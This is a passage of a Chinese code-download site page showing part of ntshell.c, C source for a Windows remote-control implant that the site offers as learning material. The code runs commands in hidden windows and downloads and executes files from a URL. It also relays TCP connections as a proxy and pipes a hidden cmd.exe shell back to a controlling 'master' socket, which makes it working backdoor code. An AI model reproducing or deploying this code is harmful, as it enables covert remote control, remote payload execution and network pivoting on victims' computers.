⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ntshell.c

📁 远程控制系统,可以实现局域网内进行远程控制计算机,很方便,并且是学习用的非常好的资料.
💻 C
📖 第 1 页 / 共 5 页
字号:
	else
	{
		strcpy(szCmdLine, pce->CommandLine);
	}

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;

	if (!CreateProcess(NULL, szCmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &pi))
	{
		wsprintf(szResult, "Create Process %s failed, code=%d\r\n", pce->CommandLine, GetLastError());
		ObOutputString(pob, szResult);
		return;
	}

	if (pce->ShowResult)
	{
		if (WaitForSingleObject(pi.hProcess, pce->TimeOut) == WAIT_TIMEOUT)		//尝试等待命令完成
		{
			ObOutputString(pob, "Wait for exiting time out\r\n");
		}
		else
		{
			//读取命令执行结果
			hFile = CreateFile(szTempFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);

			if (hFile != INVALID_HANDLE_VALUE)
			{
				ReadFile(hFile, szResult, sizeof(szResult), &lBytesRead, NULL);
				CloseHandle(hFile);
				szResult[lBytesRead] = '\0';
				ObOutputString(pob, szResult);
			}
		}
	}

	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
}

void ConsoleDownloadFile(POUTPUT_BUFFER pob, PCONSOLE_FILEDOWNLOAD pfd)
{
	char fullPath[MAX_PATH];
	char *p;
	HMODULE hModule;
	HRESULT (_stdcall *URLDownloadToFile)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);

	GetFullPathName(pfd->SavePath, MAX_PATH, fullPath, NULL);

	for (p = fullPath + strlen(fullPath); p != fullPath && *p != '.'; p--);

	if (p == fullPath)
	{
		strcat(fullPath, "\\");
		for (p = pfd->Url + strlen(pfd->Url); p != pfd->Url && *p != '/'; p--);
		strcat(fullPath, p + 1);
	}

	hModule = LoadLibrary("urlmon.dll");

	if (hModule == NULL)
		return;

	URLDownloadToFile = (PVOID)GetProcAddress(hModule, "URLDownloadToFileA");

	if (URLDownloadToFile(NULL, pfd->Url, fullPath, 0, NULL) == S_OK)
	{
		ObOutputBinary(pob, "File already saved to ", strlen("File already saved to "));
		ObOutputBinary(pob, fullPath, strlen(fullPath));
		ObOutputBinary(pob, "\r\n", 2);

		if (pfd->RunIt)
		{
			PCONSOLE_EXECUTE pce = (PCONSOLE_EXECUTE)HeapAlloc(GetProcessHeap(), 0, sizeof(CONSOLE_EXECUTE) + strlen(fullPath) + 1);

			if (pce != NULL)
			{
				pce->TimeOut = 0;
				pce->ShowResult = FALSE;
				strcpy(pce->CommandLine, fullPath);
				ConsoleExecute1(pob, pce);
				HeapFree(GetProcessHeap(), 0, pce);
			}
		}

		ObOutputString(pob, "");
	}
	else
	{
		ObOutputString(pob, "Download file failed\r\n");
	}

	FreeLibrary(hModule);
}

void ConsoleSendMessage(POUTPUT_BUFFER pob, PCONSOLE_MESSAGESEND pms)
{
	if (pms->DisplayMethod == 1)
	{
		HDC hDC = CreateDC("DISPLAY", NULL, NULL, NULL);
		HFONT hFont = CreateFont(48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, "宋体");
		HFONT hOldFont = SelectObject(hDC, hFont);

		RECT rc;
		int i;

		GetClientRect(GetDesktopWindow(), &rc);
		rc.left = rc.right / 4;
		rc.right = rc.left * 3;
		rc.top = rc.bottom / 4;
		rc.bottom = rc.top * 3;
		SetTextColor(hDC, RGB(0, 0, 0));
		SetBkColor(hDC, RGB(255, 255, 255));
		SetBkMode(hDC, TRANSPARENT);
		//DrawTextEx(hDC, pms->MessageText, strlen(pms->MessageText), &rc, DT_CENTER | DT_WORDBREAK | DT_EDITCONTROL, NULL);

		for (i = 1; i <= (int)strlen(pms->MessageText); i++)
		{
			//InvalidateRect(GetDesktopWindow(), &rc, TRUE);
			DrawTextEx(hDC, pms->MessageText, i, &rc, DT_WORDBREAK | DT_EDITCONTROL, NULL);
			Sleep(100);
		}

		SelectObject(hDC, hOldFont);
		DeleteObject(hFont);
		DeleteDC(hDC);
	}
	else
	{
		MessageBox(NULL, pms->MessageText, "", MB_ICONINFORMATION);
	}
}

DWORD WINAPI ConsoleThread(LPVOID lpParam)
{
	SOCKET master_sock = (SOCKET)lpParam;
	OUTPUT_BUFFER ob;
	int code, ret;
	struct sockaddr_in name;
	int namelen = sizeof(name);
	PNTSHELL_REQUEST req;

	getpeername(master_sock, (struct sockaddr *)&name, &namelen);

	ObInitOutput(&ob, 0x200000);

	for (;;)
	{
		ret = RecvFromMaster(master_sock, (char **)&req, -1);

		if (ret == -1)
			break;

		if (req->ClientVersion != 1)		//不支持的客户端
		{
			HeapFree(GetProcessHeap(), 0, req);
			break;
		}

		switch (req->RequestClass)
		{
		case CONSOLE_LISTPROCESS:
			ConsoleListProcess(&ob);
			break;
		case CONSOLE_KILLPROCESS:
			ConsoleKillProcess(&ob, (PCONSOLE_PROCESSKILL)(req->Request));
			break;
		case CONSOLE_DOWNLOADFILE:
			ConsoleDownloadFile(&ob, (PCONSOLE_FILEDOWNLOAD)(req->Request));
			break;
		case CONSOLE_EXECUTE_1:
			ConsoleExecute1(&ob, (PCONSOLE_EXECUTE)(req->Request));
			break;
		case CONSOLE_EXECUTE_2:
			ConsoleExecute2(&ob, (PCONSOLE_EXECUTE)(req->Request));
			break;
		case CONSOLE_SENDMESSAGE:
			ConsoleSendMessage(&ob, (PCONSOLE_MESSAGESEND)(req->Request));
			break;
		default:
			LogEvent(11, inet_ntoa(name.sin_addr), code);
			break;
		}

		HeapFree(GetProcessHeap(), 0, req);

		if (ob.Pointer != 0)
		{
			SendToMaster(master_sock, ob.Buffer, ob.Pointer);
			ob.Pointer = 0;
		}

		code = STATE_READY;
		SendToMaster(master_sock, (char *)&code, 1);
	}

	closesocket(master_sock);
	ObFreeOutput(&ob);

	return 0;
}

DWORD WINAPI SockProxyThread(LPVOID lpParam)
{
	struct sockaddr_in server;
	SOCKET client_sock, server_sock;
	int ret, len = 0;
	ULONG non_blocking = 1;
	USHORT transmit_port;
	ULONG transmit_addr;
	struct sockaddr_in name;
	int namelen = sizeof(name);
	fd_set fdread;
	int client_data_len, server_data_len;
	int client_send_pointer, server_send_pointer;
	char client_buf[4096];
	char server_buf[4096];

	client_sock = (SOCKET)lpParam;

	getpeername(client_sock, (struct sockaddr *)&name, &namelen);

	ret = recv(client_sock, (char *)&transmit_port, sizeof(USHORT), 0); //读取转发端口

	if (ret == SOCKET_ERROR || ret == 0)
	{
		closesocket(client_sock);
		return -1;
	}

	ret = recv(client_sock, (char *)&transmit_addr, sizeof(ULONG), 0); //读取转发地址

	if (ret == SOCKET_ERROR || ret == 0)
	{
		closesocket(client_sock);
		return -1;
	}

	server.sin_family = AF_INET;
	server.sin_port = htons((WORD)transmit_port);
	server.sin_addr.s_addr = transmit_addr;

	server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	if (server_sock == INVALID_SOCKET)
	{
		send(client_sock, "\x01", 1, 0); //发送错误码
		closesocket(client_sock);
		return -1;
	}

	if (connect(server_sock, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
	{
		send(client_sock, "\x05", 1, 0); //发送错误码
		closesocket(client_sock);
		closesocket(server_sock);
		return -1;
	}

	send(client_sock, "\x00", 1, 0); //发送错误码

	ioctlsocket(client_sock, FIONBIO, &non_blocking);
	ioctlsocket(server_sock, FIONBIO, &non_blocking);

	LogEvent(8, inet_ntoa(name.sin_addr), transmit_addr, transmit_port);

	client_send_pointer = 0;
	server_send_pointer = 0;

	while (1)
	{
		FD_ZERO(&fdread);
		FD_SET(client_sock, &fdread);
		FD_SET(server_sock, &fdread);

		if (select(0, &fdread, NULL, NULL, NULL) == SOCKET_ERROR)
			break;

		if (FD_ISSET(client_sock, &fdread))
		{
			if (client_send_pointer == 0)
			{
				ret = recv(client_sock, client_buf, sizeof(client_buf), 0);//从客户端接收数据

				if (ret == SOCKET_ERROR || ret == 0)
					break;

				client_data_len = ret;
			}

			ret = send(server_sock, client_buf + client_send_pointer, client_data_len - client_send_pointer, 0);

			if (ret == SOCKET_ERROR)
				break;

			client_send_pointer += ret;

			if (client_send_pointer == client_data_len)
				client_send_pointer = 0;
		}

		if (FD_ISSET(server_sock, &fdread))
		{
			if (server_send_pointer == 0)
			{
				ret = recv(server_sock, server_buf, sizeof(server_buf), 0);

				if (ret == SOCKET_ERROR || ret == 0)
					break;

				server_data_len = ret;
			}

			ret = send(client_sock, server_buf + server_send_pointer, server_data_len - server_send_pointer, 0);

			if (ret == SOCKET_ERROR)
				break;

			server_send_pointer += ret;

			if (server_send_pointer == server_data_len)
				server_send_pointer = 0;
		}
	}

	LogEvent(9, inet_ntoa(name.sin_addr));
	closesocket(client_sock);
	closesocket(server_sock);

	return 0;
}

int SockProxyService()
{
	SOCKET master_sock;
	HANDLE hThread;
	DWORD dwThreadId;

	master_sock = ConnectMaster(2);

	if (master_sock == INVALID_SOCKET)
	{
		return -1;
	}

	hThread = CreateThread(NULL, 0, SockProxyThread, (LPVOID)master_sock, 0, &dwThreadId);

	if (hThread == NULL)
	{
		closesocket(master_sock);
		return -1;
	}

	CloseHandle(hThread);

	return 0;
}

void ShellSession(SOCKET master_sock, char *lpShellName)
{
	char dataBuffer[BUFFER_SIZE];
	DWORD lBytesRead, ret;
	SECURITY_ATTRIBUTES sa;
	STARTUPINFO si = {0};
	PROCESS_INFORMATION pi;
	HANDLE hShellWrite = NULL, hReadPipe = NULL;
	HANDLE hShellRead = NULL, hWritePipe = NULL;
	struct timeval tv;
	fd_set readfds;

	tv.tv_sec = 0; 
	tv.tv_usec = 100000;

	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;

	if (!CreatePipe(&hReadPipe, &hShellWrite, &sa, 0))
	{
		goto session_error;
	}

	if (!CreatePipe(&hShellRead, &hWritePipe, &sa, 0))
	{
		goto session_error;
	}

	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = hShellRead;
	si.hStdOutput = hShellWrite;
	si.hStdError = hShellWrite;

	if (!CreateProcess(lpShellName, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
		goto session_error;

	while (1)
	{
		if (!PeekNamedPipe(hReadPipe, dataBuffer, 1, &lBytesRead, NULL, NULL))
		{
			DbgPrint(("PeekNamedPipe() 失败, 错误码 %d", GetLastError()));
			break;
		}

		if (lBytesRead > 0)
		{
			if (!ReadFile(hReadPipe, dataBuffer, BUFFER_SIZE, &lBytesRead, NULL))
				break;

			ret = send(master_sock, dataBuffer, lBytesRead, 0);

			if (ret == 0 || ret == SOCKET_ERROR)
				break;
		}
		else
		{
			ret = WaitForSingleObject(pi.hProcess, 0);

			if (ret == WAIT_OBJECT_0)
				break;

			FD_ZERO(&readfds);
			FD_SET(master_sock, &readfds);

			ret = select(0, &readfds, NULL, NULL, &tv);

			if (ret == SOCKET_ERROR)
				break;

			if (!FD_ISSET(master_sock, &readfds))
				continue;

			ret = recv(master_sock, dataBuffer, BUFFER_SIZE, 0);

			if (ret == 0 || ret == SOCKET_ERROR)
				break;

			if (!WriteFile(hWritePipe, dataBuffer, ret, &lBytesRead, NULL))
				break;
		}
	}

	TerminateProcess(pi.hProcess, 0);
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);

session_error:
	closesocket(master_sock);
	CloseHandle(hReadPipe);
	CloseHandle(hShellWrite);
	CloseHandle(hShellRead);
	CloseHandle(hWritePipe);
}

DWORD WINAPI CmdShellThread(LPVOID lpParam)
{
	char cmd[MAX_PATH];
	SOCKET master_sock = (SOCKET)lpParam;

	GetEnvironmentVariable("ComSpec", cmd, MAX_PATH);
	ShellSession(master_sock, cmd);

	return 0;
}

BOOL ProcMgrListProcess(POUTPUT_BUFFER pob, PNTSHELL_RESULTSET prs)
{
	NTSTATUS status;
	PVOID pBuffer, pTokenUser;
	ULONG nRetSize;
	PSYSTEM_PROCESS_INFORMATION pptInfo;
	PROCMGR_PROCESSINFO pi;
	HMODULE hModule, hPsapiLib;
	HANDLE hProcess, hToken;
	TCHAR szProcessName[260];
	TCHAR szUserName[260];
	TCHAR szDomainName[260];
	TCHAR szImagePath[280];
	DWORD cbUserName, cbDomainName;
	SID_NAME_USE use;
	DWORD (_stdcall *GetModuleFileNameEx)(HANDLE hProcess, HMODULE hModule, LPTSTR lpFilename, DWORD nSize);
	DWORD (_stdcall *EnumProcessModules)(HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded);

	prs->ResultClass = PROCMGR_LISTPROCESS;
	prs->MessageCode = MSG_NONE;
	prs->ErrorCode = ERROR_SUCCESS;
	prs->NumberOfResults = 0;

	hPsapiLib = LoadLibrary("psapi.dll");

	if (hPsapiLib)
	{
		GetModuleFileNameEx = (PVOID)GetProcAddress(hPsapiLib, "GetModuleFileNameExA");
		EnumProcessModules = (PVOID)GetProcAddress(hPsapiLib, "EnumProcessModules");
	}
	else
	{
		GetModuleFileNameEx = NULL;
		EnumProcessModules = NULL;
	}

	for (nRetSize = 0x1000;;)
	{
		pBuffer = LocalAlloc(LPTR, nRetSize);

		if (pBuffer == NULL)
		{
			prs->ErrorCode = GetLastError();
			goto End;
		}

		status = ZwQuerySystemInformation(5, pBuffer, nRetSize, &nRetSize); //SystemProcessesAndThreadsInformation

		if (status != 0xC0000004)  //STATUS_INFO_LENGTH_MISMATCH
			break;

		LocalFree(pBuffer);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -